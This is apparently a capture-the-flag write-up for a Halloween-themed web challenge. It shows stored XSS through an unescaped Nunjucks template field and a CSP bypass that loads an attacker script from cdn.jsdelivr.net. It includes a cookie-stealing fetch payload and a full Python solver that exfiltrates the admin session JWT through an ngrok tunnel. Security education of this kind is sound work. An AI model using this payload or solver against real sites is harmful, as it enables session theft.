🎃 Cursed Secret Party [web] 🎃

Description:

Difficulty:

Flag:

Challenge Files:

Challenge:

On bot.js we notice that a Headless Chrome is being set up that visits /admin and /admin/delete_all with the flag set up as a JWT cookie.

let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
		await page.setCookie({
			name: 'session',
			value: token,
			domain: '127.0.0.1:1337'
		});

		await page.goto('http://127.0.0.1:1337/admin', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		await page.goto('http://127.0.0.1:1337/admin/delete_all', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

On routes/index.js we see that the there is a POST request on /api/submit endpoint that expects data passed on body.

router.post('/api/submit', (req, res) => {
    const { halloween_name, email, costume_type, trick_or_treat } = req.body;

    if (halloween_name && email && costume_type && trick_or_treat) {

        return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
            .then(() => {
                res.send(response('Your request will be reviewed by our team!'));

                bot.visit();
            })
            .catch(() => res.send(response('Something Went Wrong!')));
    }

    return res.status(401).send(response('Please fill out all the required fields!'));
});

Nunjucks Filtering 🦺

Everything from req.body gets inserted in the database and then gets rendered on the /admin endpoint without any sanitization. That means that we can control the contents of the admin endpoint without any filtering.

router.get('/admin', AuthMiddleware, (req, res) => {
    if (req.user.user_role !== 'admin') {
        return res.status(401).send(response('Unautorized!'));
    }

    return db.get_party_requests()
        .then((data) => {
            res.render('admin.html', { requests: data });
        });
});

Checking on how the view is rendered on views/admin.html we notice that the Halloween Name gets rendered on the page with the | safe filter.


<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>

In the Nunjucks documentation we notice that when this filter is passed that means that the data passed are trusted and they are not escaped. So if we pass HTML it will not be escaped.

{{ foo }}          // &lt;span%gt;
{{ foo | safe }}   // <span>

🎈 Bypassing CSP 🎈

To get the flag we need to force the bot to visit an endpoint of ours because it has set up the flag as the cookie. This will not work because we have a strict CSP that lists and describes paths and sources, from which the browser can safely load resources.

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

Checking the paths that get accepted from the CSP we can see that cdn.jsdelivr.net get’s accepted too. JSDelivr is a public content delivery network for open-source software projects, including packages hosted on GitHub, npm, and WordPress.org. That means that we can use this cdn to host our JavaScript payload.

Load any GitHub release, commit, or branch:

/gh/user/repo@version/file

The goal is to force the bot to load our hosted payload on GitHub as an external script source and then through the external script we should force the bot to visit our endpoint. The bot will visit our endpoint with the flag set as its cookie.

<!-- Halloween Name -->
<script src="https://cdn.jsdelivr.net//gh/user/repo@version/file"></script>

// GitHub Payload
fetch("http://our_endpoint/?c="+document.cookie);

Solver:

from git import Repo
from pyngrok import ngrok
import http.server, socketserver, requests, jwt, re

host, port = '127.0.0.1', 1337
HOST = 'http://%s:%d/' % (host, port)

repo = Repo('.')
local_serve_port = 9998
payload_filename = 'pepe.js'


class Handler(http.server.SimpleHTTPRequestHandler):

    def do_GET(self):
        decode_flag(self.path)


def craft_payload(filename, url):
    with open(filename, 'w') as f:
        f.write(f'fetch("{url}/?c="+document.cookie);')
        f.close()


def upload_payload():
    repo.git.add(payload_filename)
    repo.git.commit('-m', 'pepe payload :)')
    repo.git.push()


def exploit(HOST, filename):
    payload = f'<script src="https://cdn.jsdelivr.net/gh/el-queso/csp_bypass_via_jsdelivr@latest/{filename}"></script>'
    data = {
        'halloween_name': payload,
        'email': '[email protected]',
        'costume_type': 'ghost',
        'trick_or_treat': 'tricks'
    }

    requests.post(f'{HOST}api/submit',
                  headers={'Content-Type': 'application/json'}, json=data)


def decode_flag(cookie):
    jwt_encoded = re.search('(?<=session=).*', cookie).group(0)
    jwt_decoded = jwt.decode(jwt_encoded, options={"verify_signature": False})
    print(jwt_decoded['flag'])


httpd = socketserver.TCPServer(('', local_serve_port), Handler)

ngrok_url = ngrok.connect(local_serve_port).public_url
craft_payload(payload_filename, ngrok_url)

upload_payload()
exploit(HOST, payload_filename)

httpd.handle_request()